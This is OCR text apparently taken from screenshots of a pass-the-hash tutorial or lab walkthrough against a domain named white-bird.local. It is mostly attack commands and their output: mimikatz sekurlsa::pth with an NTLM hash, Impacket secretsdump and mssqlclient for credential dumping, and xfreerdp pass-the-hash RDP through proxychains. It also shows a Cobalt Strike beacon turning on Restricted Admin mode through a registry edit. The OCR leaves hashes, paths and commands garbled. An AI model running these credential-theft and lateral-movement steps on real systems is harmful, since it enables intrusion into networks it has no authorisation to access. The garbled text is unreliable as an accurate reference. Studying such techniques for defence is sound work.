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1: User requests access
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2: Server sends challenge message
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3: Client sends response message

6: Server sends response to the client
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2. Find associated logon session

1. CreateProcessWithLogon

Process.exe o
« Logon Session X «f-e- Cached Credentials

3. Inject data
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sekurlsa::pth /user: <[Pk /domain: <[> /ntlm: <ntlm>
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~/Desktop
python3 impacket/examples/mssqlclient.py 1 white-bird/sql_ser

Impacket [ secretdump
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~/Desktop
thon3 impacket/examples/secretsdump.py white-bird/
tc/pr hains4.conf

[*] Dumpi
Administra

minidump: 1@
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xfreerdp /v: <IP> /u: <[ITP /d: <[I] FQDB> /pth: <[T> /dynamic-resolution

~/Desktop
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Account restrictions are preventing this user from signing in. For example: blank
passwords aren't allowed, sign-in times are limited, or a policy restriction has been
enforced.
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New- ItemProperty -Path "HKLM: \System\CurrentControlSet\Control\Lsa" -Name
DisableRestrictedAdmin -Value 0
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beacon> powershell New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0

[*] Tasked beacon to run: New-ItemProperty -Path "HKLM:\System\CurrentControlSet\ControlilLsa" -Name DisableRestrictedAdmin -Value 0
[+] host called home, sent: 343 bytes

[+] received output

#< CLIXML

DisableRestrictedAdmin : 0

PSPath Microsoft.PowerShell.Core\Registry: :HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
PSParentPath Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System‘\CurrentControlSet\Control
PSChildName Lsa

PSDrive HKLM

PSProvider Microsoft.PowersShell.Core\Registry

[(TITIIIII1] xfreerfp 1] PTH [T RDP [111J

~/Desktop
xfreerdp /v:172.16.1.52 fu:serveradm /d:white-bird.local /pth:72FQEEFCC213EA8F350773B831CF2C9C /dynamic-resolution /timeout:30000
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 172.16.1.52:3389 ... OK
$15:11:327] [466959:466961] [WARN][com.freerdp.crypto] - Certificate verification failure 'self signed certificate (18)' at stack position @
1327] [466959:466961] [WARN][com.freerdp.crypto] - CN = web®2.white-bird.local
955] [466959:466961] [INFO][com.freerdp.gdi] - Local framebuffer format PIXEL_FORMAT_BGRX32
1955] [466959:466961] [INFO][com.freerdp.gdi] - Remote framebuffer format PIXEL_FORMAT_BGRA32
:981] [466959:466961] [INFO][com.freerdp.channels.rdpsnd.client] - [static] Loaded fake backend for rdpsnd
:981] [466959:466961] [INFO][com.freerdp.channels.drdynvc.client] - Loading Dynamic Virtual Channel rdpgfx
1081] [466959:466961] [INFO][com.freerdp.channels.drdynvc.client] - Loading Dynamic Virtual Channel disp

A FreeRDP:172.16.1.52
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sekurlsa:: pth /user: <[Ipk /domain: <[] FQDN> /ntlm: <NT [IP /run:"mstsc. exe /restrictedadmin"

mimikatz # sekurlsa::pth /user:serveradm /domain:white-bird.local /ntlm:72fBeefcc213ea8f358773b831cf2c9c /run:"mstsc.exe
frestrictedadmin®
1 serveradm
: white-bird.local
mstsc.exe /restrictedadmin 2 L8 e,
D A .3 Connection
1 72fBeefcc213eaBf358773b831cf2coc
1496
244
LSA Process is now R/W
LUID & ; 5390298 (0G66OE00:00523d2) R
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